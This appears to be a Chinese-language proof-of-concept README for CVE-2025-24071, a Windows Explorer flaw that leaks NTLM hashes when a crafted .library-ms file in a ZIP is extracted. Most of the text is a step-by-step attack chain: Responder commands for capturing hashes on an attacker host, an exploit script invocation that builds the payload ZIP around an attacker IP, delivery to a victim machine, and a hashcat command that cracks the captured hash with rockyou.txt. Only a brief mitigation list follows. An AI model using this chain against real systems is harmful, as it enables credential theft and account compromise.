CVE-2025-24071-POC-NTLM哈希泄露

• 触发自动SMB认证到攻击者控制的共享。
• 无需交互——Windows资源管理器自动发起此NTLM认证。
• 导致NTLMv2哈希泄露（信息泄露）。
• 影响Windows 10/11所有版本，尤其是11 23H2。

设置攻击者环境

sudo apt update && sudo apt install responder -y

启动Responder

sudo responder -I eth0

运行漏洞利用脚本

安装所需Python模块

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

这将生成： testpayload.library-ms testpayload.zip

在受害者机器上测试

将testpayload.zip传输到Windows 11测试机。 使用Windows资源管理器解压ZIP文件。 这将触发Windows尝试访问SMB路径，从而泄露NTLM哈希。

捕获哈希

responder -I eth0

准备哈希文件

创建hash.txt文件

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

选择字典

最常用的rockyou.txt

运行Hashcat

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

缓解措施

• 在防火墙阻止出站SMB（TCP 445）。
• 禁用对不受信任SMB共享的自动认证（组策略）。
• 监控.library-ms文件解压和SMB连接。